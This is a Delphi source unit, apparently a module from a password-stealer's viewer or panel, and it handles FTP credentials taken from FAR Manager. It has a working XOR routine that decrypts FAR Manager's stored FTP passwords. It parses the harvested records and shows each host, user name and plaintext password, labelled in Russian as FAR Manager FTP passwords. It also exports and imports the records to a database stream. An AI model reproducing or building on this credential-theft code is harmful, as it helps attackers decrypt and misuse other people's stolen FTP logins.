unit Mod_FAR;

interface

uses
  Windows, Mod_Common, Classes, SysUtils, xBase;

type
  PFARItem = ^TFARItem;
  TFARItem = record
    RegName: String;
    Host: String;
    User: String;
    Password: String;
    Description: String;
  end;

  TModuleFAR = class(TModule)
  private
    procedure FreeFTPList;
    function DecryptPass(const Pass: String): String;
    function Dos2Win(const Text: String): String;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;        
  public
    FTPList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;    
  end;


implementation

const
  TYPE_FAR_NAME		  = 0;
  TYPE_FAR_USER		  = 1;
  TYPE_FAR_DESC		  = 2;
  TYPE_FAR_PASS		  = 3;
  TYPE_FAR_HOST		  = 4;

{ TModuleFAR }

function TModuleFAR.DecryptPass(const Pass: String): String;
var
  i: Integer;
  Key: Byte;
begin
  Result := '';
  if Length(Pass) = 0 then Exit;
  Key := Ord(Pass[1]) xor Ord(Pass[2]) or $50;
  for i := 3 to Length(Pass) do begin
    if Pass[i] = #0 then Break;
    Result := Result + Chr(Ord(Pass[i]) xor Key);
  end;
end;

destructor TModuleFAR.Destroy;
begin
  FreeFTPList;
  inherited;
end;

procedure TModuleFAR.FreeFTPList;
var
  i: Integer;
begin
  if FTPList = nil then Exit;
  for i := 0 to FTPList.Count-1 do begin
    with PFARItem(FTPList.Items[i])^ do begin
      RegName := '';
      Host := '';
      User := '';
      Password := '';
      Description := '';
    end;
    Dispose(FTPList.Items[i]);
  end;
  FTPList.Free;
end;

procedure TModuleFAR.Run;
var
  DataItem: TDataItem;
  P: PFARItem;
begin
  inherited;

  FTPList := TList.Create;
  P := nil;

  while HasMoreData do begin
    DataItem := ReadData;
    case DataItem.cType of
      TYPE_FAR_NAME: begin
        New(P); P.RegName := Trim(Dos2Win(DataItem.Data));
        P.Host := Trim(Dos2Win(DataItem.Data));
        FTPList.Add(P);
      end;
      TYPE_FAR_USER: if P <> nil then
        P.User := Trim(Dos2Win(DataItem.Data));
      TYPE_FAR_DESC: if P <> nil then
        P.Description := Trim(Dos2Win(DataItem.Data));
      TYPE_FAR_PASS: if P <> nil then
        P.Password := Dos2Win(DecryptPass(DataItem.Data));
      TYPE_FAR_HOST: if P <> nil then
        P.Host := Trim(Dos2Win(DataItem.Data));
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

function TModuleFAR.GetAsText: String;
var
  i: Integer;
begin
  Result := '';
  for i := 0 to FTPList.Count-1 do begin
    Result := Result + 'Host: ' + PFARItem(FTPList.Items[i]).Host + #13#10;
    Result := Result + 'User: ' + PFARItem(FTPList.Items[i]).User + #13#10;
    Result := Result + 'Password: ' + PFARItem(FTPList.Items[i]).Password + #13#10;
    Result := Result + 'Description: ' + PFARItem(FTPList.Items[i]).Description + #13#10;
    Result := Result + #13#10;
  end;
end;

function TModuleFAR.Dos2Win(const Text: String): String;
const
  CTable: array[0..255] of Byte = (
    $00,$01,$02,$03,$04,$05,$06,$07,$08,$09,$0A,$0B,$0C,$0D,$0E,$0F,
    $10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$1A,$1B,$1C,$1D,$1E,$1F,
    $20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$2A,$2B,$2C,$2D,$2E,$2F,
    $30,$31,$32,$33,$34,$35,$36,$37,$38,$39,$3A,$3B,$3C,$3D,$3E,$3F,
    $40,$41,$42,$43,$44,$45,$46,$47,$48,$49,$4A,$4B,$4C,$4D,$4E,$4F,
    $50,$51,$52,$53,$54,$55,$56,$57,$58,$59,$5A,$5B,$5C,$5D,$5E,$5F,
    $60,$61,$62,$63,$64,$65,$66,$67,$68,$69,$6A,$6B,$6C,$6D,$6E,$6F,
    $70,$71,$72,$73,$74,$75,$76,$77,$78,$79,$7A,$7B,$7C,$7D,$7E,$7F,
    $3F,$3F,$27,$3F,$22,$3A,$C5,$D8,$3F,$25,$3F,$3C,$3F,$3F,$3F,$3F,
    $3F,$27,$27,$22,$22,$07,$2D,$2D,$3F,$54,$3F,$3E,$3F,$3F,$3F,$3F,
    $FF,$F6,$F7,$3F,$FD,$3F,$B3,$15,$F0,$63,$F2,$3C,$BF,$2D,$52,$F4,
    $F8,$2B,$49,$69,$3F,$E7,$14,$FA,$F1,$FC,$F3,$3E,$3F,$3F,$3F,$F5,
    $80,$81,$82,$83,$84,$85,$86,$87,$88,$89,$8A,$8B,$8C,$8D,$8E,$8F,
    $90,$91,$92,$93,$94,$95,$96,$97,$98,$99,$9A,$9B,$9C,$9D,$9E,$9F,
    $A0,$A1,$A2,$A3,$A4,$A5,$A6,$A7,$A8,$A9,$AA,$AB,$AC,$AD,$AE,$AF,
    $E0,$E1,$E2,$E3,$E4,$E5,$E6,$E7,$E8,$E9,$EA,$EB,$EC,$ED,$EE,$EF);
var
  i, j: Integer;
begin
  Result := '';
  for i := 1 to Length(Text) do begin
    for j := 1 to 255 do
      if CTable[j] = Ord(Text[i]) then begin
        Result := Result + Chr(j);
        Break;
      end;
  end;
end;

class function TModuleFAR.GetModuleName: String;
begin
  Result := 'FAR';
end;

procedure TModuleFAR.GetAsTree;
var
  i: Integer;
begin
  Append(ModuleName, 'Этот модуль содержит FTP пароли от FAR Manager''а', ICON_FOLDER);
  MoveIn;

  for i := 0 to FTPList.Count-1 do begin
    Append(StringReplace(PFARItem(FTPList.Items[i]).Host, 'ftp://', '', []), GenHTMLList(['Хост: ' + PFARItem(FTPList.Items[i]).Host,
      'Пользователь: ' + PFARItem(FTPList.Items[i]).User, 'Пароль: ' + PFARItem(FTPList.Items[i]).Password,
      'Описание: ' + PFARItem(FTPList.Items[i]).Description]), ICON_FAR);
  end;

  MoveOut;
end;

class function TModuleFAR.GetModuleID: Integer;
begin
  Result := MODULE_FAR;
end;

class function TModuleFAR.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModuleFAR.GetIsEmpty: Boolean;
begin
  Result := FTPList.Count = 0;
end;

procedure TModuleFAR.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  ExportData([FTPList.Count]);
  for i := 0 to FTPList.Count-1 do
    with PFARItem(FTPList.Items[i])^ do
      ExportData([RegName, Host, User, Password, Description]);
end;

procedure TModuleFAR.ImportModule(DBStream: TMemoryStream);
var
  i: Integer;
  P: PFARItem;
begin
  inherited;

  FTPList := TList.Create;

  for i := 0 to ImportData-1 do begin
    New(P);
    with P^ do begin
      RegName := ImportData;
      Host := ImportData;
      User := ImportData;
      Password := ImportData;
      Description := ImportData;
    end;
    FTPList.Add(P);
  end;
end;

end.
